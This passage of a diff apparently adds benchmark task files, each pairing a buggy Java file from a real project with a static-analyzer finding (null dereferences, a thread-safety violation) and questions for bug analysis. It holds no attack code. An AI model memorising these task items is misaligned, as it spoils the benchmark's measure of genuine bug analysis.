+							"<item> tag contains invalid name attribute '" + itemName + "'.");
+				}
+
+				// now add optional attributes if available
+				for (String attrName : attrMap.keySet()) {
+					// we need to skip the 'name' attribute
+					if (!"name".equals(attrName)) {
+						result.appendItemValue(itemName + "." + attrName, attrMap.get(attrName));
+					}
+				}
+
+				// test if the type attribute was provided to convert content?
+				String sType = result.getItemValueString(itemName + ".type");
+				if (!sType.isEmpty()) {
+					// convert content type
+					if ("boolean".equalsIgnoreCase(sType)) {
+						result.appendItemValue(itemName, Boolean.valueOf(content));
+					} else if ("integer".equalsIgnoreCase(sType)) {
+						result.appendItemValue(itemName, new Integer(content));
+					} else if ("double".equalsIgnoreCase(sType)) {
+						result.appendItemValue(itemName, new Double(content));
+					} else
+						// no type conversion
+						result.appendItemValue(itemName, content);
+				} else {
+					// no type definition
+					result.appendItemValue(itemName, content);
+				}
+
+			} else {
+				throw new PluginException(ResultPlugin.class.getSimpleName(), INVALID_FORMAT,
+						"<item> tag contains no name attribute.");
+
+			}
+
+		}
+
+		// test for general invalid format
+		if (invalidPattern) {
+			throw new PluginException(ResultPlugin.class.getSimpleName(), INVALID_FORMAT,
+					"invalid <item> tag format - expected <item name=\"...\" ...></item>");
+		}
+
+		return result;
+	}
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `evalItemCollection` last assigned on line 94 could be null and is dereferenced at line 96.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+int ResultPlugin.run(ItemCollection,ItemCollection)
+
+### Procedure Id:
+org.imixs.workflow.plugins.ResultPlugin.run(org.imixs.workflow.ItemCollection,org.imixs.workflow.Ite.606093ea37d8c6a8eb00747a20176c75
+
+### File:
+imixs-workflow-engine/src/main/java/org/imixs/workflow/plugins/ResultPlugin.java
+
+### Key:
+ResultPlugin.java|run|NULL_DEREFERENCE
+
+### Node Key:
+e9814c590e26c031348b9b6ea9d992af
+
+### Hash:
+76832a1ae5238fdc25300a3099b84ed1
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7189/instruction.md b/inferredbugs-7189/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..eb3240a172d3a75b30c9b23f567b4a8fcb07c615
--- /dev/null
+++ b/inferredbugs-7189/instruction.md
@@ -0,0 +1,350 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** imixs-workflow
+**Bug ID:** 29
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.imixs.workflow.engine;
+
+import java.util.Calendar;
+import java.util.Date;
+
+import org.imixs.workflow.ItemCollection;
+import org.imixs.workflow.engine.WorkflowSchedulerService;
+import org.imixs.workflow.exceptions.AccessDeniedException;
+import org.imixs.workflow.exceptions.PluginException;
+import org.imixs.workflow.exceptions.ProcessingErrorException;
+import org.junit.Before;
+import org.junit.Test;
+
+import junit.framework.Assert;
+
+/**
+ * Test class for WorkflowSchedulerService
+ * 
+ * This test verifies if the inDue methods workItemInDue() and addWorkDays()
+ * 
+ * @author rsoika
+ */
+public class TestWorkflowScheduler {
+
+	@Before
+	public void setup() throws PluginException {
+
+	}
+
+	/**
+	 * This test the date compare base on $lastProcessingDate in days
+	 * 
+	 * @throws ProcessingErrorException
+	 * @throws AccessDeniedException
+	 * 
+	 */
+	@Test
+	public void testDaysOnLastProcess() throws AccessDeniedException, ProcessingErrorException, PluginException {
+
+		ItemCollection doc = new ItemCollection();
+		ItemCollection activity = new ItemCollection();
+
+		// delay unit = days
+		activity.replaceItemValue("keyActivityDelayUnit", "3");
+		// compare type = last process
+		activity.replaceItemValue("keyScheduledBaseObject", "1");
+		// delay
+		activity.replaceItemValue("numActivityDelay", 10);
+
+		Calendar workitemCal = Calendar.getInstance();
+		workitemCal.setTime(new Date());
+		// adjust -14
+		workitemCal.add(Calendar.DAY_OF_MONTH, -14);
+		// prepare doc
+		doc.replaceItemValue("$lastProcessingDate", workitemCal.getTime());
+		Assert.assertTrue(WorkflowSchedulerService.workItemInDue(doc, activity));
+
+		// delay
+		activity.replaceItemValue("numActivityDelay", 15);
+		workitemCal.setTime(new Date());
+		// adjust -14
+		workitemCal.add(Calendar.DAY_OF_MONTH, -14);
+		// prepare doc
+		doc.replaceItemValue("$lastProcessingDate", workitemCal.getTime());
+		Assert.assertFalse(WorkflowSchedulerService.workItemInDue(doc, activity));
+
+	}
+
+	
+	
+
+	/**
+	 * This method tests the addWorkDays function in a weekday movement from
+	 * Monday to Fiday
+	 */
+	@Test
+	public void testAddWorkdaysFromMonday() {
+
+		Calendar startDate = Calendar.getInstance();
+		// adjust to FRIDAY
+		startDate.set(Calendar.DAY_OF_WEEK, Calendar.MONDAY);
+		System.out.println("Startdate=" + startDate.getTime());
+
+		
+		Assert.assertEquals(Calendar.TUESDAY,
+				WorkflowSchedulerService.addWorkDays(startDate, 1).get(Calendar.DAY_OF_WEEK));
+		Assert.assertEquals(Calendar.WEDNESDAY,
+				WorkflowSchedulerService.addWorkDays(startDate, 2).get(Calendar.DAY_OF_WEEK));
+		Assert.assertEquals(Calendar.FRIDAY,
+				WorkflowSchedulerService.addWorkDays(startDate, 4).get(Calendar.DAY_OF_WEEK));
+	
+	
+		Assert.assertEquals(Calendar.MONDAY,
+				WorkflowSchedulerService.addWorkDays(startDate, 5).get(Calendar.DAY_OF_WEEK));
+		
+		
+		
+		
+		
+		Assert.assertEquals(Calendar.FRIDAY,
+				WorkflowSchedulerService.addWorkDays(startDate, 9).get(Calendar.DAY_OF_WEEK));
+		Assert.assertEquals(Calendar.MONDAY,
+				WorkflowSchedulerService.addWorkDays(startDate, 10).get(Calendar.DAY_OF_WEEK));
+
+	}
+
+
+	/**
+	 * This method tests the addWorkDays function in a weekday movement from
+	 * Friday back to Monday
+	 */
+	@Test
+	public void testAddWorkdaysFromFriday() {
+	
+		Calendar startDate = Calendar.getInstance();
+		// adjust to FRIDAY
+		startDate.set(Calendar.DAY_OF_WEEK, Calendar.FRIDAY);
+		System.out.println("Startdate=" + startDate.getTime());
+	
+		// adjust -3 Workdays -> THUSEDAY
+		Assert.assertEquals(Calendar.TUESDAY,
+				WorkflowSchedulerService.addWorkDays(startDate, 2).get(Calendar.DAY_OF_WEEK));
+	
+		Assert.assertEquals(Calendar.WEDNESDAY,
+				WorkflowSchedulerService.addWorkDays(startDate, 8).get(Calendar.DAY_OF_WEEK));
+	
+		Assert.assertEquals(Calendar.FRIDAY,
+				WorkflowSchedulerService.addWorkDays(startDate, 10).get(Calendar.DAY_OF_WEEK));
+	
+		Assert.assertEquals(Calendar.THURSDAY,
+				WorkflowSchedulerService.addWorkDays(startDate, 14).get(Calendar.DAY_OF_WEEK));
+	
+	}
+
+	/**
+	 * This method tests the addWorkDays function in a weekday movement from
+	 * Friday back to Monday
+	 */
+	@Test
+	public void testMinusWorkdaysFromFriday() {
+
+		Calendar startDate = Calendar.getInstance();
+		// adjust to FRIDAY
+		startDate.set(Calendar.DAY_OF_WEEK, Calendar.FRIDAY);
+		System.out.println("Startdate=" + startDate.getTime());
+
+		// adjust -3 Workdays -> THUSEDAY
+		Assert.assertEquals(Calendar.THURSDAY,
+				WorkflowSchedulerService.addWorkDays(startDate, -1).get(Calendar.DAY_OF_WEEK));
+		Assert.assertEquals(Calendar.WEDNESDAY,
+				WorkflowSchedulerService.addWorkDays(startDate, -2).get(Calendar.DAY_OF_WEEK));
+		Assert.assertEquals(Calendar.MONDAY,
+				WorkflowSchedulerService.addWorkDays(startDate, -4).get(Calendar.DAY_OF_WEEK));
+		// friday - 5
+		Assert.assertEquals(Calendar.FRIDAY,
+				WorkflowSchedulerService.addWorkDays(startDate, -5).get(Calendar.DAY_OF_WEEK));
+		Assert.assertEquals(Calendar.MONDAY,
+				WorkflowSchedulerService.addWorkDays(startDate, -9).get(Calendar.DAY_OF_WEEK));
+		Assert.assertEquals(Calendar.FRIDAY,
+				WorkflowSchedulerService.addWorkDays(startDate, -10).get(Calendar.DAY_OF_WEEK));
+
+	}
+	
+	
+	/**
+	 * This method tests the addWorkDays function in a weekday movement from
+	 * Friday back to Monday
+	 */
+	@Test
+	public void testMinusWorkdaysFromMonday() {
+
+		Calendar startDate = Calendar.getInstance();
+		// adjust to FRIDAY
+		startDate.set(Calendar.DAY_OF_WEEK, Calendar.MONDAY);
+		System.out.println("Startdate=" + startDate.getTime());
+
+		// adjust -3 Workdays -> THUSEDAY
+		Assert.assertEquals(Calendar.THURSDAY,
+				WorkflowSchedulerService.addWorkDays(startDate, -2).get(Calendar.DAY_OF_WEEK));
+
+	}
+	
+	
+	
+	/**
+	 * This method tests the addWorkDays function in a weekday movement from
+	 * SATURDAY backwards
+	 */
+	@Test
+	public void testMinusWorkdaysFromSaturday() {
+
+		Calendar startDate = Calendar.getInstance();
+		// adjust to SATURDAY
+		startDate.set(Calendar.DAY_OF_WEEK, Calendar.SATURDAY);
+		System.out.println("Startdate=" + startDate.getTime());
+
+		// adjust -1 Workdays -> THURSDAY
+		Assert.assertEquals(Calendar.THURSDAY,
+				WorkflowSchedulerService.addWorkDays(startDate, -1).get(Calendar.DAY_OF_WEEK));
+		Assert.assertEquals(Calendar.FRIDAY,
+				WorkflowSchedulerService.addWorkDays(startDate, -5).get(Calendar.DAY_OF_WEEK));
+
+	}
+	
+	
+	/**
+	 * This method tests the addWorkDays function in a weekday movement from
+	 * SATURDAY forwards
+	 */
+	@Test
+	public void testAddWorkdaysFromSaturday() {
+
+		Calendar startDate = Calendar.getInstance();
+		// adjust to SATURDAY
+		startDate.set(Calendar.DAY_OF_WEEK, Calendar.SATURDAY);
+		System.out.println("Startdate=" + startDate.getTime());
+
+		// adjust -1 Workdays -> TUESDAY
+		Assert.assertEquals(Calendar.TUESDAY,
+				WorkflowSchedulerService.addWorkDays(startDate, 1).get(Calendar.DAY_OF_WEEK));
+
+		Assert.assertEquals(Calendar.FRIDAY,
+				WorkflowSchedulerService.addWorkDays(startDate, 4).get(Calendar.DAY_OF_WEEK));
+
+		
+		Assert.assertEquals(Calendar.MONDAY,
+				WorkflowSchedulerService.addWorkDays(startDate, 5).get(Calendar.DAY_OF_WEEK));
+
+	}
+
+	/**
+	 * This method tests the addWorkDays function in a weekday movement from
+	 * SUNDAY backwards
+	 */
+	@Test
+	public void testMinusWorkdaysFromSunday() {
+
+		Calendar startDate = Calendar.getInstance();
+		// adjust to SATURDAY
+		startDate.set(Calendar.DAY_OF_WEEK, Calendar.SUNDAY);
+		System.out.println("Startdate=" + startDate.getTime());
+
+		// adjust -1 Workdays -> THURSDAY
+		Assert.assertEquals(Calendar.THURSDAY,
+				WorkflowSchedulerService.addWorkDays(startDate, -1).get(Calendar.DAY_OF_WEEK));
+		Assert.assertEquals(Calendar.FRIDAY,
+				WorkflowSchedulerService.addWorkDays(startDate, -5).get(Calendar.DAY_OF_WEEK));
+
+	}
+	
+	/**
+	 * This method tests the addWorkDays function in a weekday movement from
+	 * SUNDAY forwards
+	 */
+	@Test
+	public void testAddWorkdaysFromSunday() {
+
+		Calendar startDate = Calendar.getInstance();
+		// adjust to SATURDAY
+		startDate.set(Calendar.DAY_OF_WEEK, Calendar.SUNDAY);
+		System.out.println("Startdate=" + startDate.getTime());
+
+		// adjust -1 Workdays -> TUESDAY
+		Assert.assertEquals(Calendar.TUESDAY,
+				WorkflowSchedulerService.addWorkDays(startDate, 1).get(Calendar.DAY_OF_WEEK));
+	
+		Assert.assertEquals(Calendar.FRIDAY,
+				WorkflowSchedulerService.addWorkDays(startDate, 4).get(Calendar.DAY_OF_WEEK));
+
+		
+		Assert.assertEquals(Calendar.MONDAY,
+				WorkflowSchedulerService.addWorkDays(startDate, 5).get(Calendar.DAY_OF_WEEK));
+
+	}
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `addWorkDays(startDate,2)` could be null and is dereferenced at line 88.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TestWorkflowScheduler.testAddWorkdaysFromMonday()
+
+### Procedure Id:
+org.imixs.workflow.engine.TestWorkflowScheduler.testAddWorkdaysFromMonday():void.3b341ae0a16ef84212734955fa5d807d
+
+### File:
+imixs-workflow-engine/src/test/java/org/imixs/workflow/engine/TestWorkflowScheduler.java
+
+### Key:
+TestWorkflowScheduler.java|testAddWorkdaysFromMonday|NULL_DEREFERENCE
+
+### Node Key:
+15891b12c6ce50257e480adc810587ae
+
+### Hash:
+0cf9dccae58946dfed1eae455d70dd35
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7256/instruction.md b/inferredbugs-7256/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..d12c558015116eeb093ab6e6c587fbba60959f3a
--- /dev/null
+++ b/inferredbugs-7256/instruction.md
@@ -0,0 +1,151 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** sonar-php
+**Bug ID:** 6
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * SonarQube PHP Plugin
+ * Copyright (C) 2010-2017 SonarSource SA
+ * mailto:info AT sonarsource DOT com
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 3 of the License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public License
+ * along with this program; if not, write to the Free Software Foundation,
+ * Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
+ */
+package org.sonar.php.checks;
+
+import java.util.regex.Pattern;
+import javax.annotation.Nullable;
+import org.sonar.check.Rule;
+import org.sonar.php.tree.impl.PHPTree;
+import org.sonar.plugins.php.api.tree.Tree;
+import org.sonar.plugins.php.api.tree.Tree.Kind;
+import org.sonar.plugins.php.api.tree.declaration.VariableDeclarationTree;
+import org.sonar.plugins.php.api.tree.expression.AssignmentExpressionTree;
+import org.sonar.plugins.php.api.tree.expression.LiteralTree;
+import org.sonar.plugins.php.api.tree.lexical.SyntaxToken;
+import org.sonar.plugins.php.api.visitors.PHPVisitorCheck;
+
+@Rule(key = HardCodedCredentialsCheck.KEY)
+public class HardCodedCredentialsCheck extends PHPVisitorCheck {
+
+  public static final String KEY = "S2068";
+
+  private static final String MESSAGE = "Remove this hard-coded password.";
+
+  private static final Pattern PASSWORD_LITERAL_PATTERN = Pattern.compile("password=..", Pattern.CASE_INSENSITIVE);
+  private static final Pattern PASSWORD_VARIABLE_PATTERN = Pattern.compile("password", Pattern.CASE_INSENSITIVE);
+
+  @Override
+  public void visitLiteral(LiteralTree literal) {
+    if (literal.is(Kind.REGULAR_STRING_LITERAL) && PASSWORD_LITERAL_PATTERN.matcher(literal.token().text()).find()) {
+      addIssue(literal);
+    }
+    super.visitLiteral(literal);
+  }
+
+  @Override
+  public void visitVariableDeclaration(VariableDeclarationTree declaration) {
+    String identifier = declaration.identifier().text();
+    checkVariable(declaration.identifier(), identifier, declaration.initValue());
+    super.visitVariableDeclaration(declaration);
+  }
+
+  @Override
+  public void visitAssignmentExpression(AssignmentExpressionTree assignment) {
+    SyntaxToken lastToken = ((PHPTree) assignment.variable()).getLastToken();
+    String variableName = lastToken.text();
+    checkVariable(lastToken, variableName, assignment.value());
+    super.visitAssignmentExpression(assignment);
+  }
+
+  private void checkVariable(Tree tree, String identifier, @Nullable Tree value) {
+    if (value != null && value.is(Kind.REGULAR_STRING_LITERAL) && PASSWORD_VARIABLE_PATTERN.matcher(identifier).find()) {
+      addIssue(tree);
+    }
+  }
+
+  private void addIssue(Tree tree) {
+    context().newIssue(this, tree, MESSAGE);
+  }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `lastToken` last assigned on line 61 could be null and is dereferenced at line 62.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void HardCodedCredentialsCheck.visitAssignmentExpression(AssignmentExpressionTree)
+
+### Procedure Id:
+org.sonar.php.checks.HardCodedCredentialsCheck.visitAssignmentExpression(org.sonar.plugins.php.api.t.76e64ddcc2f9ff76e17cde42af891538
+
+### File:
+php-checks/src/main/java/org/sonar/php/checks/HardCodedCredentialsCheck.java
+
+### Key:
+HardCodedCredentialsCheck.java|visitAssignmentExpression|NULL_DEREFERENCE
+
+### Node Key:
+d1bdf9e9f952f9146e298670995c382e
+
+### Hash:
+6ff0ff8c84988201658cf069ca1fc9ef
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7294/instruction.md b/inferredbugs-7294/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..04fb60466a0426757aa72575251595c9b4ab4e1a
--- /dev/null
+++ b/inferredbugs-7294/instruction.md
@@ -0,0 +1,248 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** zookeeper
+**Bug ID:** 21
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.zookeeper.server.quorum;
+
+import java.util.ArrayList;
+import java.util.LinkedList;
+
+import org.apache.log4j.Logger;
+
+import org.apache.zookeeper.ZooDefs.OpCode;
+import org.apache.zookeeper.server.Request;
+import org.apache.zookeeper.server.RequestProcessor;
+import org.apache.zookeeper.server.ZooTrace;
+
+/**
+ * This RequestProcessor matches the incoming committed requests with the
+ * locally submitted requests. The trick is that locally submitted requests that
+ * change the state of the system will come back as incoming committed requests,
+ * so we need to match them up.
+ */
+public class CommitProcessor extends Thread implements RequestProcessor {
+    private static final Logger LOG = Logger.getLogger(CommitProcessor.class);
+
+    /**
+     * Requests that we are holding until the commit comes in.
+     */
+    LinkedList<Request> queuedRequests = new LinkedList<Request>();
+
+    /**
+     * Requests that have been committed.
+     */
+    LinkedList<Request> committedRequests = new LinkedList<Request>();
+
+    RequestProcessor nextProcessor;
+
+    public CommitProcessor(RequestProcessor nextProcessor) {
+        this.nextProcessor = nextProcessor;
+        start();
+    }
+
+    boolean finished = false;
+
+    public void run() {
+        try {
+            Request nextPending = null;
+            ArrayList<Request> toProcess = new ArrayList<Request>();
+            while (!finished) {
+                int len = toProcess.size();
+                for (int i = 0; i < len; i++) {
+                    nextProcessor.processRequest(toProcess.get(i));
+                }
+                toProcess.clear();
+                synchronized (this) {
+                    if ((queuedRequests.size() == 0 || nextPending != null)
+                            && committedRequests.size() == 0) {
+                        wait();
+                        continue;
+                    }
+                    // First check and see if the commit came in for the pending
+                    // request
+                    if ((queuedRequests.size() == 0 || nextPending != null)
+                            && committedRequests.size() > 0) {
+                        Request r = committedRequests.remove();
+                        /*
+                         * We match with nextPending so that we can move to the
+                         * next request when it is committed. We also want to
+                         * use nextPending because it has the cnxn member set
+                         * properly.
+                         */
+                        if (nextPending != null
+                                && nextPending.sessionId == r.sessionId
+                                && nextPending.cxid == r.cxid) {
+                            // we want to send our version of the request.
+                            // the pointer to the connection in the request
+                            nextPending.hdr = r.hdr;
+                            nextPending.txn = r.txn;
+                            nextPending.zxid = r.zxid;
+                            toProcess.add(nextPending);
+                            nextPending = null;
+                        } else {
+                            // this request came from someone else so just
+                            // send the commit packet
+                            toProcess.add(r);
+                        }
+                    }
+                }
+
+                // We haven't matched the pending requests, so go back to
+                // waiting
+                if (nextPending != null) {
+                    continue;
+                }
+
+                synchronized (this) {
+                    // Process the next requests in the queuedRequests
+                    while (nextPending == null && queuedRequests.size() > 0) {
+                        Request request = queuedRequests.remove();
+                        switch (request.type) {
+                        case OpCode.create:
+                        case OpCode.delete:
+                        case OpCode.setData:
+                        case OpCode.setACL:
+                        case OpCode.createSession:
+                        case OpCode.closeSession:
+                            nextPending = request;
+                            break;
+                        case OpCode.sync:
+                            nextPending = request;
+                            //pendingSyncs.add(request);
+                            break;
+                        default:
+                            toProcess.add(request);
+                        }
+                    }
+                }
+            }
+        } catch (Exception e) {
+            LOG.error("FIXMSG",e);
+        }
+        ZooTrace.logTraceMessage(LOG, ZooTrace.getTextTraceLevel(),
+                                 "CommitProcessor exited loop!");
+    }
+
+    synchronized public void commit(Request request) {
+        if (!finished) {
+            if (request == null) {
+                LOG.warn("Committed a null!",
+                         new Exception("committing a null! "));
+                return;
+            }
+            LOG.debug("Committing" + request.cxid);
+            committedRequests.add(request);
+            notifyAll();
+        }
+    }
+
+    synchronized public void processRequest(Request request) {
+        // request.addRQRec(">commit");
+        // LOG.info("Zoo processReq>>> cxid = " + request.cxid + " type =
+        // " + request.type + " id = " + request.sessionId + " cnxn " +
+        // request.cnxn);
+        if (!finished) {
+            queuedRequests.add(request);
+            notifyAll();
+        }
+    }
+
+    public void shutdown() {
+        finished = true;
+        queuedRequests.clear();
+        synchronized (this) {
+            notifyAll();
+        }
+        nextProcessor.shutdown();
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Unprotected write. Non-private method `org.apache.zookeeper.server.quorum.CommitProcessor.shutdown` writes to field `this.org.apache.zookeeper.server.quorum.CommitProcessor.finished` outside of synchronization.
+ Reporting because this access may occur on a background thread.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void CommitProcessor.shutdown()
+
+### Procedure Id:
+org.apache.zookeeper.server.quorum.CommitProcessor.shutdown():void.b8c8e9b49f2afbd89abdb3deb5d47104
+
+### File:
+src/java/main/org/apache/zookeeper/server/quorum/CommitProcessor.java
+
+### Key:
+CommitProcessor.java|shutdown|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+59256f8afa807bd7ee151422bb30af84
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7312/instruction.md b/inferredbugs-7312/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..5574b9bbb8d91230e7b9b87d2923dc7af657a86b
--- /dev/null
+++ b/inferredbugs-7312/instruction.md
@@ -0,0 +1,390 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** ninja
+**Bug ID:** 7
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * Copyright (C) 2012-2015 the original author or authors.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package ninja.utils;
+
+import java.io.BufferedReader;
+import java.io.File;
+import java.io.InputStreamReader;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+
+import ninja.NinjaTest;
+
+import org.apache.http.HttpResponse;
+import org.apache.http.HttpVersion;
+import org.apache.http.client.HttpClient;
+import org.apache.http.client.entity.UrlEncodedFormEntity;
+import org.apache.http.client.methods.HttpGet;
+import org.apache.http.client.methods.HttpPost;
+import org.apache.http.cookie.Cookie;
+import org.apache.http.entity.StringEntity;
+import org.apache.http.entity.mime.HttpMultipartMode;
+import org.apache.http.entity.mime.MultipartEntity;
+import org.apache.http.entity.mime.content.FileBody;
+import org.apache.http.impl.client.DefaultHttpClient;
+import org.apache.http.message.BasicNameValuePair;
+import org.apache.http.params.CoreProtocolPNames;
+import org.apache.http.util.EntityUtils;
+import org.codehaus.jackson.map.ObjectMapper;
+
+import com.fasterxml.jackson.dataformat.xml.XmlMapper;
+import com.google.common.collect.Maps;
+
+public class NinjaTestBrowser {
+
+    private DefaultHttpClient httpClient;
+
+    public NinjaTestBrowser() {
+        httpClient = new DefaultHttpClient();
+    }
+
+    /**
+     * The raw HttpClient. You can use it to fire your own requests.
+     * 
+     * Note 1: This HttpClient will save the state by reusing cookies. You can
+     * do login / logout cycles using this class.
+     * 
+     * Note 2: Will be shut down when calling the shutdown method. This is
+     * generally done by another test helper (like {@link NinjaTest}) that
+     * encapsulates this class.
+     * 
+     * @return The HttpClient. Ready and there to be used.
+     */
+    public HttpClient getHttpClient() {
+
+        return this.httpClient;
+
+    }
+
+    /**
+     * @return all cookies saved by this TestBrowser.
+     */
+    public List<Cookie> getCookies() {
+        return httpClient.getCookieStore().getCookies();
+    }
+
+    public Cookie getCookieWithName(String name) {
+
+        List<Cookie> cookies = getCookies();
+
+        // skip through cookies and return cookie you want
+        for (Cookie cookie : cookies) {
+            if (cookie.getName().equals(name)) {
+                return cookie;
+            }
+        }
+
+        return null;
+    }
+
+    public HttpResponse makeRequestAndGetResponse(String url,
+                                                  Map<String, String> headers) {
+
+        HttpResponse response = null;
+
+        try {
+
+            HttpGet getRequest = new HttpGet(url);
+
+            // add all headers
+            for (Entry<String, String> header : headers.entrySet()) {
+                getRequest.addHeader(header.getKey(), header.getValue());
+            }
+
+            response = httpClient.execute(getRequest);
+            getRequest.reset();
+
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
+
+        return response;
+
+    }
+
+    public String makeRequest(String url) {
+        return makeRequest(url, null);
+    }
+
+    public String makeRequest(String url, Map<String, String> headers) {
+
+        StringBuffer sb = new StringBuffer();
+        try {
+
+            HttpGet getRequest = new HttpGet(url);
+
+            if (headers != null) {
+                // add all headers
+                for (Entry<String, String> header : headers.entrySet()) {
+                    getRequest.addHeader(header.getKey(), header.getValue());
+                }
+            }
+
+            HttpResponse response;
+
+            response = httpClient.execute(getRequest);
+
+            BufferedReader br = new BufferedReader(new InputStreamReader(
+                    response.getEntity().getContent(), "UTF-8"));
+
+            String output;
+            while ((output = br.readLine()) != null) {
+                sb.append(output);
+            }
+
+            getRequest.releaseConnection();
+
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
+
+        return sb.toString();
+
+    }
+
+    public String makePostRequestWithFormParameters(String url,
+                                                    Map<String, String> headers,
+                                                    Map<String, String> formParameters) {
+
+        StringBuffer sb = new StringBuffer();
+
+        try {
+
+            HttpPost postRequest = new HttpPost(url);
+
+            if (headers != null) {
+                // add all headers
+                for (Entry<String, String> header : headers.entrySet()) {
+                    postRequest.addHeader(header.getKey(), header.getValue());
+                }
+            }
